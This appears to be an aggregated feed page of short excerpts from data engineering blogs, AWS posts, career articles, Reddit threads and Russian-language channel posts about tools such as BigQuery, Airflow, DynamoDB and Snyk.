Reading Time: 6 minutes Migrating data on Google Cloud BigQuery may seem like a straightforward task, until you run into having to match old data to tables with different schemas and data types. There are many approaches you can take to moving data, perhaps using SQL commands to transform the data to be compatible with the new schema. However, SQL has limitations as a programming language, being a query-centric Continue Reading

The post Google Cloud Platform: Migrating Data to New Schemas on Big Query Using Dataflow appeared first on Knoldus Blogs.

Reading Time: 4 minutes In this blog, we will try to see what is MLOps (Machine Learning Operations) and how it is related/different from traditional software development operations or what we call DevOps. We will see why it is important to talk about it and lastly where it is not really a necessity. What is MLOps? Machine Learning Operations (MLOps) is a set of core activities of machine learning Continue Reading

The post What is MLOps? appeared first on Knoldus Blogs.

Reading Time: 3 minutes What is ACR? ACR is known as Azure Container Registry. It is a cloud-based service for managing private registries on Docker Registry. We can use it to create and maintain Docker container registries in the Azure cloud and manage to store Docker images and artifacts privately. These are the following steps to build and push the docker image to ACR using ADO: Step1. Firstly you Continue Reading

The post How to build and push a docker image in ACR using the ADO pipeline appeared first on Knoldus Blogs.

Reading Time: 5 minutes The agile release plan helps in align the teams by managing multiple phases that can pitch into a creative and innovative problem- working. Your agile release plan will eventually display what you can anticipate out of each sprint and insure your pains are ray- concentrated. What is Agile Release Plan? Agile release planning is a procedure that enables development teams and product holders to read the compass of their systems for optimizing coffers and people. It helps in bettering the quality of work committed, minimizing loss, and perfecting success rates. Agile release planning is a product Continue Reading

The post How to create Agile Release Plan appeared first …

Reading Time: 3 minutes Traditional brick-and-mortar retailers have been radically overhauled by data analytics, which has swept the industry off its feet. To assess consumer needs, enhance supply chain administration, and boost profit; it has introduced a new perspective. Additionally, it aims to optimize revenues by maximizing brand strategy, discount coupons, and ensuring that excess inventory loss is kept to a bare minimum. Furthermore, data analytics aids in evaluating Continue Reading

The post How advanced is data analytics transforming the retail industry? appeared first on Knoldus Blogs.

Reading Time: 2 minutes To understand the overlapping of Computer Vision and Augmented Reality, Let’s understand what is computer vision, augumented reality and virtual reality. Computer Vision Augmented Reality Virtual Reality A direct comparison of Augmented Reality and Virtual Reality Application of Augmented Reality and Computer Vision Augmented Reality and Computer Vision in Autonomous Cars Security Monitoring with Augmented Vision and Computer Vision Augmented Reality and Computer Vision in Continue Reading

The post Know how Computer Vision and Augmented Reality overlap each other? appeared first on Knoldus Blogs.

Reading Time: 3 minutes Dialogflow is a GCP framework that enables users to develop easy human-computer interaction technologies that can support Natural Language Processing (NLP). Basically, Dialogflow handles the job of translating natural language to machine-readable data using machine-learning models trained by your examples. Why use GCP Dialogflow A few reasons to use Dialogflow are – Building Blocks of GCP Dialogflow AGENTS The agent is basically your entire chatbot Continue Reading

The post Build easy conversational AI – GCP Dialogflow appeared first on Knoldus Blogs.

Reading Time: 2 minutes What is Snyk? Snyk (pronounced sneak) is a platform to secure your source code, Containers, and IaC, It scans your code and tells what vulnerabilities are in your code. We can Integrate Snyk in different IDEs to check your code. In another word, we can say it is Grammarly for your code. Steps to Scan your IaC Prerequisite If you don’t have Snyk you can go Continue Reading

The post How to check vulnerability in IaC using Snyk appeared first on Knoldus Blogs.

Reading Time: 3 minutes What is Agent? An agent is a service that runs the jobs of your pipeline in other words we can say it is a computing infrastructure (maybe any VM or local machine) with installed agent software to run the pipeline jobs. When you build and deploy code using ADO Pipelines you need at least one agent. There are two types of Agent in ADO Here Continue Reading

The post How to add an Agent in the Azure DevOps Pipeline appeared first on Knoldus Blogs.

Reading Time: 6 minutes Hello Readers!! In this blog, we will see how we can send GitHub commits and PR logs to Elasticsearch using a custom script. Here we will use a bash script that will send GitHub logs to elasticsearch. It will create an index in elasticsearch and push there the logs. After sending logs to elasticsearch we can visualize the following github events in kibana:- 1. GitHub Continue Reading

The post How to send Github commits and PR logs to ElasticSearch using a custom script appeared first on Knoldus Blogs.

Reading Time: 2 minutes Snyk is a platform that scans, fixes security, vulnerabilities and prioritize your code, open source dependencies, container images and Infrastructure as a Code (IaC). In basic terms, it works as a scanning tool (like an antivirus) which helps you to prevent your code from unwanted vulnerabilities. Snyk is a Boston-based cybersecurity company specializing in cloud computing and founded in 2015. It integrates the open source code that Continue Reading

The post Getting Started with Snyk appeared first on Knoldus Blogs.

Reading Time: 3 minutes With MarkLogic being a document-oriented database, data is commonly stored in a JSON or XML document format. If the data to bring into the MarkLogic is not already structured in JSON or XML means if it is currently in a relational database, there are various ways to export or transform it from the source. For example, many relational databases provide an option to export relational Continue Reading

The post Loading and Indexing Data in MarkLogic appeared first on Knoldus Blogs.

Reading Time: 4 minutes If you’re looking to store and manage data efficiently and effectively, then MarkLogic Database is an excellent choice. It allows you to easily write CRUD operations (Create, Read, Update, Delete) within the database in order to keep your data organized and secure. In this article we’ll discuss how you can write CRUD operations with MarkLogic Database so that you make the most of your data Continue Reading

The post How to Write CRUD Operations with MarkLogic Database. appeared first on Knoldus Blogs.

Reading Time: 4 minutes Introduction Data is the new oil. And hence managing data is of utmost importance for any enterprise. With the huge amount of data that is generated for a market now and to provide superior performance over them, NoSQL databases are now ruling the tech industry. Within the numerous NoSQL databases in the market, this emerging one is catching the attention of numerous techies and businesses. Continue Reading

The post Marklogic Server Architecture appeared first on Knoldus Blogs.

Reading Time: 2 minutes We store the information in databases so that it can be utilized later for different purposes like reading or updating. While we perform these operations on a record in a database there are good chances of conflicts or collisions. There can be two ways of dealing with such situations: Let’s try to understand these two options with an example. We will use the famous problem Continue Reading

The post Optimistic vs. Pessimistic locking appeared first on Knoldus Blogs.

We brought a whole team to San Francisco to present and attend this year’s Data and

AI Summit, and it was a blast! I

would consider the event a success both in the attendance to the Scribd hosted

talks and the number of talks which discussed patterns we have adopted in our

own data and ML platform.

The three talks I wrote about

previously were well received and have

since been posted to YouTube along with hundreds of other talks. Christian Williams shared some of the

work he has done developing

kafka-delta-ingest in his talk: QP Hou, Scribd Emeritus, presented on

his foundational work to ensure correctness within delta-rs during his session: R Tyler Croy co-presented with Gavin

Edgley from …

We recently migrated Looker to a Databricks SQL Serverless, improving our

infrastructure cost and reducing the footprint of infrastructure we need to

worry about! “Databricks SQL” which provides a single load balanced Endpoint

for executing Spark SQL queries across multiple Spark clusters behind the

scenes. “Serverless” is an evolution of that concept, rather than running a SQL

Endpoint in our AWS infrastructure, the entirety of execution happens on the

Databricks side. With a much simpler and faster interface, queries executed in

Looker now return results much faster to our users than ever before!

When we originally provisioned our “Databricks SQL” endpoints, we worked

together with our co…

We are very excited to be presenting and attending this year’s Data and AI

Summit which will be

hosted virtually and physically in San Francisco from June 27th-30th.

Throughout the course of 2021 we completed a number of really interesting

projects built around delta-rs and the

Databricks platform which we are thrilled to share with a broader audience.

In addition to the presentations listed below, a number of Scribd engineers who

are responsible for data and ML platform, machine learning systems, and more,

will be in attendance if you want to meet up and learn more about how Scribd

uses data and ML to change the way the world reads! Christian Williams will be sharing some of the

work he ha…

The business analyst is an in-demand data science job with a highly competitive salary range. Here are the numbers for 2023. The job market is having a moment right now, and many people are considering a job switch. Enter the business analyst . . . Business analysts are trained data specialists with database and business […]

Learning SQL might not be as "sexy" as learning Python or R, but it's a fundamental skill for almost every data scientist and data analyst job. Here's why.

Thinking about kickstarting a career in data analytics? These 10 high-paying jobs may just be the motivation you need to learn more about the data science industry and gain the specific skills you need to succeed.

If you want to know how to become a data scientist, then you’re in the right place. I’ve been where you are, and now I want to help. A decade ago, I was just a college graduate with a history degree. I then became a machine learning engineer, data science consultant, and now CEO of […]

Will getting a SQL certification actually help you get a data job? The answer to this question can be confusing, since there’s a lot of conflicting information out there. But don’t worry, we’ve got you covered. In this article, we’ll dispel some of the myths regarding SQL certification, shed light on how hiring managers view […]

What certificate should I get for data science? We interviewed data science recruiters about job applications and none of them cared about certificates.

What’s the best Python certificate to get? Python certifications can cost up to thousands of dollars. Are they worth your time?

Since data is such an essential aspect of business intelligence, data analysts are very much in demand — and this trend is only increasing! The job is key for many types of projects, such as analyzing market trends or collecting data for political polls. If you want to learn to become a data analyst, you’re […]

How can you get a data science job? It all starts with a great resume: one that frames your data analysis and data science projects in the right way.

In this article, we’re sharing the 20 most common business analyst interview questions and answers that you could encounter during a job interview. Being ready for these questions can not only help you prepare for and feel more comfortable in an interview for a business analyst role, it can also identify the gaps you may […]

In the first post of this series, Enable Kerberos authentication with Amazon RDS Custom for Oracle – Part 1, we showed you how to implement Kerberos authentication with Amazon RDS Custom for Oracle to centralize the storage and management of credentials across multiple databases and improve your organization’s overall security profile. In this post, we […]

While migrating workloads from the Azure Cloud to the AWS Cloud, organizations explore optimal, managed database services to replace their Cosmos DB databases. As NoSQL databases become more ubiquitous, especially those that support the Apache 2.0 open-source MongoDB APIs, our customers often choose Amazon DocumentDB because it’s a scalable, highly durable, and fully managed database […]

Today, the NFL is continuing their journey to increase the number of statistics provided by the Next Gen Stats Platform to all 32 teams and fans alike. With advanced analytics derived from machine learning (ML), the NFL is creating new ways to quantify football, and to provide fans with the tools needed to increase their […]

The National Football League (NFL) is one of the most popular sports leagues in the United States and is the most valuable sports league in the world. The NFL, BioCore, and AWS are committed to advancing human understanding around the diagnosis, prevention, and treatment of sports-related injuries to make the game of football safer. More […]

Since its launch in 2006, Amazon Simple Storage Service (Amazon S3) has experienced major growth, supporting multiple use cases such as hosting websites, creating data lakes, serving as object storage for consumer applications, storing logs, and archiving data. As the application portfolio grows, customers tend to store data from multiple application and different business functions […]

When you decide to run applications across multiple geographic regions, there are many questions you need to answer. First, what are the business drivers? Resiliency? It might turn out that your application requirements for resiliency, such as availability and disaster recovery, can be satisfied within a single AWS Region. If you do need a multi-region […]

Every day, Amazon devices process and analyze billions of transactions from global shipping, inventory, capacity, supply, sales, marketing, producers, and customer service teams. This data is used in procuring devices’ inventory to meet Amazon customers’ demands. With data volumes exhibiting a double-digit percentage growth rate year on year and the COVID pandemic disrupting global logistics […]

Almost 80% of today’s web content is user-generated, creating a deluge of content that organizations struggle to analyze with human-only processes. The availability of consumer information helps them make decisions, from buying a new pair of jeans to securing home loans. In a recent survey, 79% of consumers stated they rely on user videos, comments, […]

Amazon EMR provides a managed service to easily run analytics applications using open-source frameworks such as Apache Spark, Hive, Presto, Trino, HBase, and Flink. The Amazon EMR runtime for Spark and Presto includes optimizations that provide over twice the performance improvements compared to open-source Apache Spark and Presto. With Amazon EMR release 6.7, you can […]

Recent developments in deep learning have led to increasingly large models such as GPT-3, BLOOM, and OPT, some of which are already in excess of 100 billion parameters. Although larger models tend to be more powerful, training such models requires significant computational resources. Even with the use of advanced distributed training libraries like FSDP and […]

You can use open source monitoring solutions like Telegraf, InfluxDB, and Grafana to monitor your applications and databases running on-premises or on Amazon Elastic Compute Cloud (Amazon EC2). In this post, we explain how you can leverage these tools on Amazon Relational Database Service (Amazon RDS) Custom for SQL Server. Use of open source software […]

Data governance is the collection of policies, processes, and systems that organizations use to ensure the quality and appropriate handling of their data throughout its lifecycle for the purpose of generating business value. Data governance is increasingly top-of-mind for customers as they recognize data as one of their most important assets. Effective data governance enables […]

At AWS re:Invent 2022, we announced the general availability of two new Amazon QuickSight visuals: small multiples and text boxes. We are excited to add another new visual to QuickSight: radar charts. With radar charts, you can compare two or more items across multiple variables in QuickSight. In this post, we explore radar charts, its […]

We recently announced the general availability of Amazon OpenSearch Serverless , a new option for Amazon OpenSearch Service that makes it easy run large-scale search and analytics workloads without having to configure, manage, or scale OpenSearch clusters. With OpenSearch Serverless, you get the same interactive millisecond response times as OpenSearch Service with the simplicity of […]

In this post, you will learn how you can use Amazon Kinesis Data Firehose to build a log ingestion pipeline to send VPC flow logs to Amazon OpenSearch Serverless. First, you create the OpenSearch Serverless collection you use to store VPC flow logs, then you create a Kinesis Data Firehose delivery pipeline that forwards the […]

In April 2022, Amazon Managed Streaming for Apache Kafka (Amazon MSK) launched an exciting new capability, Amazon MSK Serverless. Amazon MSK is a fully managed service for Apache Kafka that makes it easier for developers to build and run highly available, secure, and scalable applications based on Apache Kafka. With MSK Serverless, developers can run […]

In Part 1 of this series, you learned about Amazon DynamoDB data loading strategies and the behavior of DynamoDB during short runs. In Part 2, you learned about query performance and the adaptive behavior of DynamoDB during sustained activity. In this third and final post, we review what you’ve learned, plus offer a few additional […]

In the Part 1 of this series, you learned about Amazon DynamoDB data loading strategies and the behavior of DynamoDB during short runs. In this post, you learn about query performance and the adaptive behavior of DynamoDB during sustained activity. Querying To drive traffic at arbitrarily large rates and simulate real-world behavior, we need a […]

In this post, we analyze the results from our benchmark tests running a TPC-DS application on open-source Apache Spark and then on Amazon EMR 6.9, which comes with an optimized Spark runtime that is compatible with open-source Spark. We walk through a detailed cost analysis and finally provide step-by-step instructions to run the benchmark. With Amazon EMR 6.9.0, you can now run your Apache Spark 3.x applications faster and at lower cost without requiring any changes to your applications. In our performance benchmark tests, derived from TPC-DS performance tests at 3 TB scale, we found the EMR runtime for Apache Spark 3.3.0 provides a 3.5 times (using total runtime) performance improvement o…

The general rule with Amazon DynamoDB is to choose a high cardinality partition key. But why; and what happens if you don’t? Inspired by a customer use case, we dive deep into this question and explore the performance of loading and querying DynamoDB using different partition key designs and table settings. After each experiment, we […]

Many customers need an ACID transaction (atomic, consistent, isolated, durable) data lake that can log change data capture (CDC) from operational data sources. There is also demand for merging real-time data into batch data. Delta Lake framework provides these two capabilities. In this post, we discuss how to handle UPSERTs (updates and inserts) of the […]

Amazon SageMaker provides a suite of built-in algorithms, pre-trained models, and pre-built solution templates to help data scientists and machine learning (ML) practitioners get started on training and deploying ML models quickly. You can use these algorithms and models for both supervised and unsupervised learning. They can process various types of input data, including tabular, […]

Amazon Forecast is a fully managed service that uses machine learning (ML) to generate highly accurate forecasts, without requiring any prior ML experience. Forecast is applicable in a wide variety of use cases, including estimating supply and demand for inventory management, travel demand forecasting, workforce planning, and computing cloud infrastructure usage. You can use Forecast […]

To build a data-driven business, it is important to democratize enterprise data assets in a data catalog. With a unified data catalog, you can quickly search datasets and figure out data schema, data format, and location. The AWS Glue Data Catalog provides a uniform repository where disparate systems can store and find metadata to keep […]

Organizations with contact centers benefit from advanced analytics on their call recordings to gain important product feedback, improve contact center efficiency, and identify coaching opportunities for their staff. The Post Call Analytics (PCA) solution uses AWS machine learning (ML) services like Amazon Transcribe and Amazon Comprehend to extract insights from contact center call audio recordings […]

As organizations continue to grow and scale their applications, the need for teams to be able to quickly and autonomously detect anomalous operational behaviors becomes increasingly important. Amazon DevOps Guru offers a fully managed AIOps service that enables you to improve application availability and resolve operational issues quickly. DevOps Guru helps ease this process by […]

This post is co-written with Vidya Kotamraju and Tallis Hobbs, from Diligent. Diligent is the global leader in modern governance, providing software as a service (SaaS) services across governance, risk, compliance, and audit, helping companies meet their environmental, social, and governance (ESG) commitments. Serving more than 1 million users from over 25,000 customers around the […]

Customers who are considering migrating their Azure Cosmos DB workloads to Amazon DynamoDB ask what differences to expect. In this post, we discuss the differences to expect and plan for when migrating from Azure Cosmos DB to DynamoDB. DynamoDB is a serverless key-value database optimized for common access patterns, typically to store and retrieve large […]

AWS Glue is a serverless, scalable data integration service that makes it easier to discover, prepare, move, and integrate data from multiple sources. AWS Glue provides an extensible architecture that enables users with different data processing use cases. A common use case is building data lakes on Amazon Simple Storage Service (Amazon S3) using AWS […]

Amazon Kinesis Data Analytics is the easiest way to transform and analyze streaming data in real time using Apache Flink. Customers are already using Kinesis Data Analytics to perform real-time analytics on fast-moving data generated from data sources like IoT sensors, change data capture (CDC) events, gaming, social media, and many others. Apache Flink is […]

I'm in the job market for a Full Time role as a Sr. Data Engineer. I'm currently consulting for two companies and want a role with benefits at the moment. I absolutely bombed a hackerrank test from one company. I hadn't touched any practice problems since March of last year when I interviewed for Meta. They gave me 24 hours to complete the assessment, so it went as expected. I got asked by another company to complete a CodeSignal assessment. I spend about 10 hours today going through EASY practice problems on all of the sites in the subject line and couldn't complete a single question without help. I'm sure with time it would get better, but working 10-12 hours a day does not offer that kin…

Hey folks! I enjoyed going over the discussion and learning a lot along the way, and I finally got some courage to ask for advice and guidance. I recently graduated with my BSc in Computer science with a major in Data analytics. I enjoy building systems and working on something that would automate some tasks. I wandered around various domains in cs at one point, even Quantum Computing. My first real job during and out of college was for a company building static code analytics tools. I worked a lot around the building and maintaining their data systems. Soon, I was asked to help develop an ETL pipeline using dask(deployed to GKE ). Ideally, the aim was to create a pipeline to train and eval…

Airflow seems to be one of these technologies that is everywhere used while most people that I've talked with aren't happy working with it. Also, commercial solutions for orchestration like Astronomer and Dagster, don't feel like are threatening Airflow that much yet which again feels a bit counterintuitive considering the sentiments around Airflow in general. This might be just be a result of selection bias in my sample of cases so I thought to ask here and see how people feel about Airflow and what makes them feel like that towards it, both positive and negative. submitted by /u/cpardl [link] [comments]

I worked as a database and ETL developer from 1998 to 2015. I mainly used bash, sql, pl/sql, and SAP Data Services. What do I need to learn to perform a data engineering role today? submitted by /u/Xenos865D [link] [comments]

Does anybody process data (do ETL) in a “streaming” fashion using python asynchronous generators? I mean e. g. use some dataset and then iterating over each row and performing some operation on it. How common is such approach? Is there any library supporting such use case? submitted by /u/romanzdk [link] [comments]

What of the pandas alternatives (excl. Spark) do you use the most? Reason appreciated. View Poll submitted by /u/romanzdk [link] [comments]

Hello, I wrote 3 articles about Parquet file format, I'll be glad to know what you think of them: - Simple Parquet Tutorial and Best Practices - Parquet Best Practices: Discover your Data without loading it - Parquet Best Practices: The Art of Filtering submitted by /u/Arli84 [link] [comments]

I’m learning about the modern data stack and have a question about when and how is the best time to add internal values. Use case is ingesting data from various advertising platforms. On these ad platforms we have several advertising accounts. When we bring the data in we need to map the advertiser accounts to internal business units and countries. I’m looking to learn what best practice looks like for the following use cases: 1) lookup the advertisingid and add the columns 2) what to do with rows from source system where we haven’t maintained the mapping entry yet? Some kind of dead letter queue setup or something? 3) the data from the source system will be brought in with a rolling time p…

Olá pessoal, Boa tarde. Como vão ? Me chamo Andréia, trabalho na área de engenharia de dados, mas estou me atualizando com as ferramentas modernas do mercado como Apache Airflow, Apache Kafka, PySpark e por aí vai. Gostaria de ter uma oportunidade para trabalhar em algum projeto open source que tenham essas tecnologias. Fico à disposição p/ falarmos melhor sobre. Segue meu contato 11 985732738. Abraços. submitted by /u/AndreiaMedeiros [link] [comments]

The AWS Certified Big Data or Databricks certs both look interesting and would fill in an experience gap for me. But I would be really concerned about running up a huge bill of hundreds of dollars with those types of services while learning. In my experience, it is really easy to forget to tear everything down within a cloud platform and miss something, and I'd probably be stressed about it constantly. From what I know, Databricks has a community edition and then of course there's AWS free tier. But free tier is a pittance for most "big data" services. Anyone have some experience with either or both for certification study? I lean towards Databricks just because I'm more interested in the S…

Which of the “latest” pandas alternatives (excl. Spark) do you use the most? Also, if you could share the reason I would appreciate it. View Poll submitted by /u/romanzdk [link] [comments]

I am working on a start-up where we will have 0-10 million of rows stored in our database daily, and about 500k users. I am very new to data engineering but have some solid background. The thing is, the database need to have high read and write capacity. Users will use search functions in our mobile app to get rows of data to their phone. At the same time it needs to take in many new rows of data. What are efficient ways to build a data warehouse with theese needs? I was looking at azure data lake storage and google bigTable as possible solutions.can someone give me some insight and opinion on how i should tackle this problem? submitted by /u/Responsible_Hawk8015 [link] [comments]

Please give your insights by the metrics bellow: Statistical programmer vs Data engineer. Who will win? Salary Supply-demand curve. Which one has more jobs (i.e. better burgaining power)? Work-life balance Future career growth (i.e. more recession-proof) submitted by /u/Born-Comment3359 [link] [comments]

Exploring Log ASCII Standard files using Python and StreamlitContinue reading on Towards Data Science »

Select, check, and splitContinue reading on Towards Data Science »

Unlocking the power of containerization: A step-by-step tutorial on building container-like environments.Continue reading on Towards Data Science »

Remove people from photos with a Stable Diffusion microserviceContinue reading on Towards Data Science »

What is the Elliot activation function and is it a good alternative to the other activation functions used in neural networks?Continue reading on Towards Data Science »

NLP TutorialCreating a new dataset by using NLP translationPipeline for the creation of a Dutch question-answering modelNatural language processing models are currently a hot topic. The release of ‘Attention Is All You Need’ by Google [1] has spurred the development of many Transformer models like BERT, GPT-3, and ChatGPT which have received a lot of attention all over the world. While many language models are trained on English or multiple languages, models and datasets for specific languages can be difficult to find or of questionable quality.NLP has a vast amount of applications including but not limited to translation, information extraction, summarization and question answering, the la…

An accessible perspective on essential machine learning conceptsContinue reading on Towards Data Science »

Fixing these habits can make you a more efficient data scientistContinue reading on Towards Data Science »

Knowing the underlying data distribution is an essential step for data modeling and has many applications, such as anomaly detection…Continue reading on Towards Data Science »

Exploring popular data integration strategies for TSDBs including ETL, ELT, and CDCContinue reading on Towards Data Science »

Conceptual overview and practical applicationsImage by Oto Godfrey and Justin Morton from Wikimedia Commons: Free to use under CC-BY-SA-4.0 licenseIn this article, we will look at how reframing time series data using Markov transition matrices can yield interesting descriptive insights as well as elegant approaches for forecasting, backcasting, and the analysis of convergence. Going backwards and forwards in time — just like Doc’s retro-fitted DeLorean time machine in the sci-fi classic Back to the Future.Note: All images of equations and diagrams in the following sections have been created by the author of this article.Basic Building BlocksLet E define the set of k unique events that make …

Photo by Finding Dan | Dan Grinwis on UnsplashUncovering the Pioneering Journey of Word2Vec and the State of AI ScienceAn in-depth interview with Dr. Tomas MikolovIn 2012, Dr Tomas Mikolov received his PhD in Artificial Intelligence at the Brno University of Technology in the Czech Republic with a thesis named ‘Statistical Language Models Based on Neural Networks’. Working for Google Research, a year later, he published two highly influential papers in which he introduced the Continuous Bag of Words (CBOW) and skip-gram algorithms, also known as Word2Vec. As a result, words could be numerically represented in a dense continuous space following a simple training procedure. This was one of th…

Accelerate Decision Making by Removing Analytics WasteCar Wash — Photo Courtesy of Author David E SweenorThink about the role of analytics in the decision-making process in your organization. Does it seem to you that analytics are being used efficiently or effectively? Or can you see ways in which precious time and resources are being wasted? In an economy where managers lose more than a half-million days per year on ineffective decision making, the opportunity to reduce waste is huge at all levels.You’re not alone when you suspect that your organization has picked the wrong business partner or skated to where the puck used to be. Maybe the problem is that you rely too much on consensus, yo…

How data product development diverges from softwarePhoto by Alina Grubnyak on UnsplashToday, we will discuss data science team topologies and how they differ from your typical software teams. How accurate is our thesis? Stick with me, and let's see if we can make a solid argument for it.Building a data science team has a few key differences compared to a traditional software development team. From the roles and responsibilities of team members to the tools and processes used, data science teams require a unique approach to ensure they are set up for success. We'll explore some things to consider when building a data science team, including the importance of cross-functional collaboration, s…

The Elbow method is still the most popular way to find the number of clusters for k-means. But there are much better alternativesContinue reading on Towards Data Science »

Learn how Checkout.com gained visibility into data across domains, scaled data quality checks, and achieve reliability at scale.

Three open questions data contracts still need to answer for engineering teams.

Monte Carlo was recognized as a Winter 2023 Data Observability leader by G2 peer-to-peer review site.

There's no one-size fits all answer to building or buying your data platform. In this piece we discuss the decision to build vs buy data warehouse, data lake, and data lakehouse solutions.

Getting started with data contracts? Here's how to implement data contracts in your data warehouse across your critical production tables.

Building a data fabric? Here's everything you need to know about this emerging architecture taking the data world by storm.

4 critical reasons why your data observability solution needs to have data lineage.

Discover how Blend’s data team leverages Monte Carlo and dbt Cloud to reduce compute costs and deliver more reliable data at scale.

Building a data governance strategy? Here's everything you need to know.

How Freshly, a leading meal delivery service, built a more reliable data platform architecture with Snowflake, Fivetran, dbt, Looker, and Monte Carlo.

How data teams and product leaders can do product experimentation right and other impactful data projects for building better products.

In healthcare, bad data can have severe implications. Here's how Collaborative Imaging uses Monte Carlo to drive data health at scale.

How do you engineer field-level lineage, data anomaly monitors, Spark lineage, or data pipeline circuit breakers? We’re glad you asked.

We focused on implementation best practices for one of our favorite data quality topics: the data mesh.

Data mesh, data observability, data contracts, data platforms and our other most popular data engineering articles.

🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов». Глубокое понимание этого инструмента — ключевой момент для его правильного применения.💻 В результате урока вы:🔸 Изучите классификацию NoSQL СУБД🔸 Узнаете про отличительные черты Elasticsearch и его применимости к разным задачам🔸 Узнаете, почему Elasticsearch — одних из наиболее популярных инструментов для создания поисковых датасетов в современном мире🔸 Поймете, чем так хорош Elasticsearch и задумаетесь об его внедрении в вашей команде🟢 Чт…

Чтобы поиграть с БД ClickHouse отныне её не нужно устанавливать себе, появился официальный ClickHouse FiddleДока про сам проект: https://clickhouse.com/blog/clickhouse-fiddle-sql-playground

📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/Rwxh/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе вас ждет:✔️ Живые вебинары с опытными практиками✔️ Решение прикладных задач и создание своего продукта✔️ Real Case Studies: примеры внедрений, использования инструментов, оптимизации и разбор ошибок✔️ Во время обучения вы освоите работу с Architecture, Data Lake, DWH, MLOps и сможете самостоятельно решать задачи в сфере Big Data.🔥 Пройдете тест — получите демо-ролик о занятиях на курсе, Welcome-скидку и доступ к открытым урокам:👉 Elasticse…

Вышло новое издание знаменитой книги про распределенные системы: Distributed Systems 4th EditionЭлектронную версию книги можно бесплатно скачать на сайте по ссылке выше.3-е бумажное издание этой книги лежит у меня на полке, но, к сожалению, я постоянно откладываю её прочтение (читал отрывками). Надеюсь в 2023 году доберусь до неё 🤞

Если ИТ – это ваш конек, то Тинькофф ждет вас 23 января на катке в московском Парке Горького! Ледовый ИТ-квест, нетворкинг, дискуссии со спикерами в теплом шатре и многое другое. Вечер точно будет насыщенным и приятным. За коньки не беспокойтесь — их выдадут бесплатно. Не медлите, регистрируйтесь сами и зовите коллег — будет весело!

Отличная новость для тех, кто использует Managed Airflow в Amazon Web Services: https://aws.amazon.com/ru/about-aws/whats-new/2023/01/amazon-mwaa-supports-apache-airflow-version-2-4-python-3-10/

На Хабре вышла статья о разных способах развёртывания Apache Superset (Docker, ВМ, Kubernetes). Автор рассказал обо всех плюсах и минусах и поделился подробной инструкцией на примере облака VK Cloud. Это очень актуально, учитывая вставшую перед компаниями задачу по полному перестраиванию системы бизнес-аналитики. В современных реалиях развитие BI-решений российских вендоров осуществляются максимально быстро и качественно. У них есть лицензионная поддержка, регулярные обновления и возможность влиять на roadmap.Читать

Как прокачаться DevOps-инженеруПопулярность облачных технологий растёт, а значит повышается спрос на DevOps-инженеров. Но даже опытному специалисту бывает непросто разобраться в специфике провайдера.Yandex Cloud решила помочь индустрии и подготовила серию курсов для DevOps-инженеров. Они помогут изучить все этапы подготовки облачной инфраструктуры и построения CI/CD-процесса для контейнерного приложения — от создания среды разработки до продакшна.Как всё устроено: курсы построены по принципу case-study — вы погрузитесь в реальную задачу бизнеса и шаг за шагом придёте к её решению.Кому подойдёт: специалистам middle- и senior-уровня.Сколько стоит: все курсы можно проходить бесплатно. Кроме то…

У ребят из Airbyte вышла интересная подборка самых популярных рассылок по теме данных: http://bit.ly/3FncX1LЯ же подписан на Seattle Data Guy, Benn Stancil и Data Engineering Weekly. От себя добавлю, что вашего внимания также заслуживает SF Data Weekly: http://weekly.sfdata.io/

На главной странице HackerNews нашел ссылку на бесплатный курс по основам Natural Language Processing (NLP) - Natural Language ProcessingDemystified. Эта тема меня давно интересует, но я никак не могу выделить время, чтобы основательно погрузиться туда. Курс состоит из серии видео роликов на YouTube.Ссылка на тред с обсуждение на HN.

Релиз Apache Airflow 2.5.0 🎉Вчера вечером вышла новая версия Apache Airflow - 2.5. В последнее время меня удивляет с какой скоростью выходят обновления у этого инструмента.Полный список новых фич смотрите тут.Из примечательного на мой взгляд:— Возможность очистить через UI всю таск группу (TaskGroup) для перезапуска всех операторов внутри.— Декоратор-сенсор (task.sensor). Теперь легко можно превратить функцию в сенсор.— Поиск по датасетам— Автообновление логов в UI. Отныне можно забыть про F5 в разделе логов 😎

В шведском городе Мальмё недавно прошла интересная IT-конференция Øredev 2022. В плейлисте нашел доклады про data engineering:- The 7 habits of data effective companies- Five Sins of Data Observability- Data Mesh: Data Analytics for Engineer- Democratize your data with Analytics Engineering- Data engineering in 10 yearsПолный список можно глянуть по ссылке.

Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности в пиковые периоды и экономить затраты во время простоя.Также мы покажем, как организовать хранение данных в S3 и преобразовывать их с помощью SQL-запросов. Поделимся планами и направлениями развития сервиса.Участие бесплатное.➡️ Регистрируйтесь на вебинар

🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анализу данных в команде AGI NLP в SberDevices.💣 По итогам занятия вы:️✔️ Узнаете технику векторных представлений слов (word embedding)✔️ Изучите несколько классических методов векторных представлений слов.✔️ Научитесь применять методы word embedding для решения прикладных NLP-задач📊 Занятие проходит в рамках курса «Natural Language Processing (NLP)». Курс предназначен для DS/ML-специалистов, которые хотят углубить знания в области NLP.✅ Регист…

Сегодня был вопрос в команда, кто будет делать screen share, чтобы пройтись по Scrum board, issues and so on. Все тупо молчали. Обычно я всегда сам это делаю. Потому что, всегда вспоминаю фразу из 1984 - ""Соблюдая маленькие правила, можно нарушать большие"🦥Но сегодня был небольшой собес с СТО и СОО в стартапчике, поэтому надо было отлучиться. И я нашел решение - https://wheelofnames.us/ - веселый сервис с колесом фортуны. Ну как нашел, подсмотрел в другой команда)) Так что после объявления победителя нашего казино, я спокойно свалил с митинга.По собесу СТО меня спросил:1) Что нового было в Python и Spark? Что в Snowflake?2) Минусы Python3) Что такое Index в БД и как работает4) Как объяснит…

